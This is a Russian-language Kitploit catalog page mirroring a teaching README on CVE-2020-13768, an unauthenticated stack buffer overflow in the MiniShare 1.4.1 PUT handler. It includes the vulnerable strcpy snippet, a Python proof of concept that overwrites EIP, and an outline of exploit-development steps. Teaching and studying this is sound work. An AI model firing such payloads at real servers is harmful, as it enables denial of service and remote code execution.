Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-13768 — Переполнение буфера на основе стека в MiniShare 1.4.1, достигаемое через один HTTP PUT-запрос. | Kitploit
Инструменты/GitHubGitHub/themalwareguardian/cve-2020-13768
Анализ уязвимостейЭксплуатацияШелл-кодОтладчикиВеб-безопасностьФаззингТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
Эксплуатация Бинарных Файлов
GitHubthemalwareguardian/cve-2020-13768

CVE-2020-13768

Переполнение буфера на основе стека в MiniShare 1.4.1, достигаемое через один HTTP PUT-запрос.

Репозиторий
25 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🐞 CVE-2020-13768: MiniShare 1.4.1 - Переполнение буфера на основе стека

Переполнение буфера на основе стека в MiniShare 1.4.1, вызываемое одним HTTP PUT-запросом.




📑 Оглавление

  • Зачем существует этот репозиторий
  • Почему эта уязвимость интересна
  • Контекст и затронутое ПО
  • Об уязвимости
  • Инициирование сбоя
  • Эксплуатация



🎓 Зачем существует этот репозиторий

Этот репозиторий является частью материалов, которые я использую при преподавании эксплуатации повреждения памяти (помимо основной работы, я также преподаю на различных курсах по кибербезопасности, где помогаю готовить следующее поколение реверс-инженеров).

CVE-2020-13768 — это пример, который я использую, когда хочу показать, как простые сетевые серверы могут быть подвержены классическим переполнениям буфера на основе стека через стандартные методы протокола. Уязвимая конечная точка не требует аутентификации, переполнение представляет собой прямую перезапись EIP, а путь эксплуатации чистый и четко определенный. Это идеальный пример для изучения полной методологии эксплуатации в реалистичном удаленном сценарии без аутентификации.

Что также делает этот случай интересным в качестве учебного задания, так это то, что одна и та же первопричина — непроверенные входные данные, копируемые в буфер стека фиксированного размера, — встречается в нескольких записях CVE для одного и того же бинарного файла. CVE-2018-19861, CVE-2018-19862 и CVE-2019-17601 описывают один и тот же класс уязвимости, просто о них сообщили разные исследователи через различные HTTP-методы или конечные точки. Это учит студентов смотреть на первопричины, а не просто на номера CVE.




💡 Почему эта уязвимость интересна

Эта уязвимость затрагивает MiniShare 1.4.1 — легковесный HTTP-сервер для Windows, разработка которого прекращена, предназначенный для простого локального обмена файлами. Программное обеспечение было написано без учета современных методов обеспечения безопасности. Что делает этот случай особенно интересным с точки зрения обучения, так это сочетание факторов:

  • Аутентификация не требуется. HTTP-метод PUT обрабатывается без какой-либо проверки учетных данных. Любой удаленный злоумышленник в сети может вызвать уязвимость одним специально сформированным запросом.
  • Стандартный метод протокола в качестве вектора атаки. Переполнение вызывается через HTTP PUT-запрос — не через собственный протокол или малоизвестную команду. Это иллюстрирует, как стандартные, хорошо известные методы протокола могут нести пейлоады эксплойтов так же эффективно, как и проприетарные интерфейсы.
  • Прямая перезапись EIP. Переполнение напрямую достигает и перезаписывает сохраненный адрес возврата, что делает этот случай классическим переполнением буфера на основе стека без участия цепочки SEH.
  • Несколько CVE, один бинарный файл. CVE-2018-19861, CVE-2018-19862 и CVE-2019-17601 описывают один и тот же класс уязвимости в одном и том же ПО. Разные записи CVE были присвоены, потому что разные исследователи сообщили о разных HTTP-методах или конечных точках, но при реверс-инжиниринге бинарного файла становится ясно, что все они имеют одну и ту же первопричину — непроверенные входные данные, копируемые в буфер стека фиксированного размера без проверки длины.

Эта комбинация делает CVE-2020-13768 отличным примером для обучения основам эксплуатации сетевых переполнений буфера в реалистичном сценарии без аутентификации.




🔍 Контекст и затронутое ПО

MiniShare — это минималистичный HTTP-сервер для Windows, изначально предназначенный для быстрого локального обмена файлами по локальной сети. Он прослушивает TCP-порт 80 и обрабатывает небольшое подмножество HTTP-методов, включая GET и PUT. Обработчик PUT обрабатывает входящие запросы и копирует путь URI в буфер стека фиксированного размера без проверки его длины.

Ключевые технические детали:

  • Тип уязвимости: переполнение буфера на основе стека
  • Затронутая версия: MiniShare 1.4.1 и более ранние
  • Затронутая конечная точка: HTTP PUT-запрос
  • Уязвимый компонент: обработка пути URI в обработчике PUT
  • Требуется аутентификация: Нет
  • Воздействие: удаленное выполнение кода



⚠️ Об уязвимости

MiniShare обрабатывает входящие HTTP-запросы и направляет их в соответствующий обработчик в зависимости от метода. Обработчик PUT извлекает путь URI из запроса и копирует его в буфер стека фиксированного размера без проверки его длины.

Упрощенная версия уязвимой логики выглядит так:

root@kitploit:~
char path_buffer[256];

strcpy(path_buffer, uri_path);

Поскольку буфер назначения имеет фиксированный размер, а длина входных данных не проверяется, отправка достаточно длинного URI в PUT-запросе приводит к тому, что копирование выходит за конец буфера, в конечном итоге достигая и перезаписывая сохраненный адрес возврата (EIP) в стеке.

Когда уязвимая функция возвращается, CPU загружает управляемое атакующим значение из стека в EIP и переходит на него. Если этот адрес указывает на управляемые атакующим данные, содержащие шеллкод, достигается произвольное выполнение кода.




💥 Инициирование сбоя

Сбой можно воспроизвести, отправив URI чрезмерной длины в HTTP PUT-запросе. Аутентификация не требуется. Пример на Python:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 3000

request = (
	b"PUT /" + payload + b" HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Connection: close\r\n"
	b"\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
Скачать инструмент

При выполнении под отладчиком видно, что EIP перезаписан управляемыми пользователем данными:

root@kitploit:~
EIP = 41414141

что подтверждает повреждение сохраненного адреса возврата в результате переполнения.




💣 Эксплуатация

Цель этого репозитория — не только продемонстрировать сбой, но и пройти весь процесс эксплуатации шаг за шагом, следуя методологии, используемой при разработке реальных эксплойтов для переполнения стека.

Чтобы основной README оставался чистым, подробные заметки по эксплуатации, скрипты и шаги отладчика помещены в папку Vulnerability 📂 этого репозитория.

Там вы найдете полный рабочий процесс, использованный для эксплуатации этого CVE, включая:

  • Фаззинг PUT URI для выявления сбоя.
  • Определение смещения для поиска точной позиции EIP в стеке.
  • Анализ bad-символов для выявления байтов, повреждающих пейлоад.
  • Поиск JMP ESP гаджета в загруженном модуле без ASLR.
  • Размещение и выполнение шеллкода.